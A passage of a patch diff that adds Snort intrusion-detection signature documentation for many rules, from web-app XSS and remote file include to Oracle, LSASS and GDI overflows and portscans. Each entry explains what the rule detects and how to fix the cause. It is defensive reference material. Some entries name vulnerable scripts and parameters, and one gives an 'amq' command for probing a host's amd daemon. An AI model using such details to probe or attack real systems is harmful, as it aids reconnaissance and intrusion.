+scripting vulnerability via the "post_gallery" parameter in the "index.php" 
+script used by the "Qdig" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Qdig
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2542.txt
+++ snort-2.7.0/doc/signatures/2542.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+2542
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+US-CERT:
+http://www.us-cert.gov/cas/techalerts/TA04-104A.html
+
+--
--- snort-2.7.0.orig/doc/signatures/100000377.txt
+++ snort-2.7.0/doc/signatures/100000377.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000377
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_forum_prune.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_forum_prune.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2686.txt
+++ snort-2.7.0/doc/signatures/2686.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2686
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure differences
+. This procedure is included in
+sys.dbms_rectifier_diff.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1640.txt
+++ snort-2.7.0/doc/signatures/1640.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1640
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.7.0.orig/doc/signatures/2082.txt
+++ snort-2.7.0/doc/signatures/2082.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2082
+
+--
+Summary:
+number for the rpc service xfsmd
+
+--
+Impact:
+Intelligence gathering
+
+--
+Detailed Information:
+This may be an attacker probing for vulnerable versions of rpc services.
+In this case, the rpc service xfsmd.
+
+It is possible for an attacker to supply a meta character followed by
+any commands or code of his choosing to the xfsmd daemon.
+
+Due to a programming error, the service does not correctly check for the
+characters and they are not stripped from the request.
+
+The xfsmd daemon is not installed by default on IRIX systems but it is 
+part of an optional package.
+
+--
+Affected Systems:
+	IRIX 6.2
+	IRIX 6.3
+	IRIX 6.4
+	IRIX 6.5.x
+
+--
+Attack Scenarios:
+Exploits are widely available.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Patches are NOT available for this issue.
+
+Disable and remove the xfsmd daemon.
+
+Uprade to the latest non affected version of the operating system
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5075
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0359
+
+SGI IRIX:
+ftp://patches.sgi.com/support/free/security/advisories/20020606-01-I
+
+--
--- snort-2.7.0.orig/doc/signatures/2513.txt
+++ snort-2.7.0/doc/signatures/2513.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2513
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2725.txt
+++ snort-2.7.0/doc/signatures/2725.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2725
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nchar
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1953.txt
+++ snort-2.7.0/doc/signatures/1953.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1953
+
+--
+Summary:
+This event is generated when a request is made to discover the Process ID (PID) of the Remote Procedure Call (RPC) amd.
+
+--
+Impact:
+Information disclosure.  This request can allow an attacker to discover the PID associated with amd.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts.  The amd service automatically mounts and unmounts requested file systems.  An attacker can make a request to amd to discover its PID.  Learning the PID may help an attacker guess a range of likely PIDs associated with other running services that are either started before or after amd.  This may facilitate an attack against other running processes.  
+
+--
+Affected Systems:
+Any system running amd.
+
+--
+Attack Scenarios:
+An attacker may request the PID associated with amd.  This information may be used to attack other running processes if the attacker has some means of access to the target host. 
+
+--
+Ease of Attack:
+Simple. Execute the command 'amq -p -T -h hostname/IP'.
+  
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000848.txt
+++ snort-2.7.0/doc/signatures/100000848.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+100000848
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "PhpWebGallery" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "keyword" parameter in the "comments.php" 
+script 
+used by the "PhpWebGallery" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using PhpWebGallery
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Chris Jacob <chris.jacob@sourcefire.com>
+
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3043.txt
+++ snort-2.7.0/doc/signatures/3043.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3043
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/793.txt
+++ snort-2.7.0/doc/signatures/793.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+793
+
+--
+Summary:
+This event is generated when an internal mail server sends an e-mail out of the network that may contain a Visual Basic Script (VBS) attachment. 
+
+--
+Impact:
+Malicious code infection.  This event may indicate that an internal host may be infected with some kind of malicious code.
+
+--
+Detailed Information:
+An outbound e-mail message that contains an attachment with a file name ending in ".vbs" may indicate that an internal host has been infected by some kind of malicious code.  A ".vbs" extension typically means that an attachment file is a Visual Basic Script.  A VBS attachment may contain executable code for a worm, virus, or trojan.
+
+--
+Affected Systems:
+Microsoft Windows hosts.
+
+--
+Attack Scenarios:
+Malicious code may be spread by e-mail containing attachments with files ending in ".vbs".
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+This alert will be triggered if e-mail is sent containing a legitimate VBS attachment.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Make sure that the suspected infected host has the most current anti-virus software.
+
+Run a virus scan on the suspected infected host.
+
+Configure your mail server to block attachments that contain executable code, such as those with extensions of ".vbs", ".exe", etc.
+
+--
+Contributors:
+Original rule writer unknown.
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000674.txt
+++ snort-2.7.0/doc/signatures/100000674.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000674
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Harpia" application running on a webserver. 
+Access to the file "footer.php" using a remote file being passed as the 
+"theme_root" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "theme_root" parameter in the "footer.php" script used 
+by the "Harpia" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Harpia
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1643.txt
+++ snort-2.7.0/doc/signatures/1643.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1643
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2705.txt
+++ snort-2.7.0/doc/signatures/2705.txt
@@ -0,0 +1,75 @@
+Rule: 
+
+--
+Sid: 
+2705
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft GDI using a malformed JPEG image.
+
+-- 
+
+Impact: 
+Serious. Execution of arbitrary code is possible. Denial of Service
+(DoS),
+
+--
+Detailed Information:
+The Microsoft Graphics Device Interface contains a programming error
+in the handling of Joint Photographics Experts Group (JPEG) files. This
+error may allow an attacker to execute code of their choosing on a
+vulnerable system.
+
+Due to the popularity of jpeg files, and in order to provide accurate
+detection for the GDI JPEG vulnerability, sid 2705 may generate false
+positive events in certain situations. Since this rule may generate
+a number of false positives it is disabled by default.
+
+In order to avoid potential evasion techniques, http_inspect should be
+configured with "flow_depth 0" so that all HTTP server response traffic is
+inspected.
+
+WARNING
+Setting flow_depth 0 will cause performance problems in some situations.
+WARNING
+
+--
+Affected Systems:
+	All Microsoft systems including multiple Microsoft products
+
+--
+Attack Scenarios: 
+An attacker would need to supply a malformed jpeg image to a victim and
+have the use attempt to view the file.
+
+-- 
+Ease of Attack: 
+Medium.
+
+-- 
+
+False Positives:
+False positive events are known to occur with this rule, the incidence
+is low but may be an inconvenience in some installations.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/122-26.txt
+++ snort-2.7.0/doc/signatures/122-26.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-26
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a icmp
+filtered sweep was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.7.0.orig/doc/signatures/1996.txt
+++ snort-2.7.0/doc/signatures/1996.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1996
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000751.txt
+++ snort-2.7.0/doc/signatures/100000751.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000751
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Free QBoard" application running on a webserver. Access to the file "about.php" using a remote file being passed as the "qb_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "qb_path" parameter in the "about.php" script used by the "Free QBoard" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Free QBoard
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2733.txt
+++ snort-2.7.0/doc/signatures/2733.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2733
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure alter_master_propagation
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1701.txt
+++ snort-2.7.0/doc/signatures/1701.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1701
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2330.txt
+++ snort-2.7.0/doc/signatures/2330.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+2330
+
+--
+Summary:
+This event is generated when a remote user sends an overly long string 
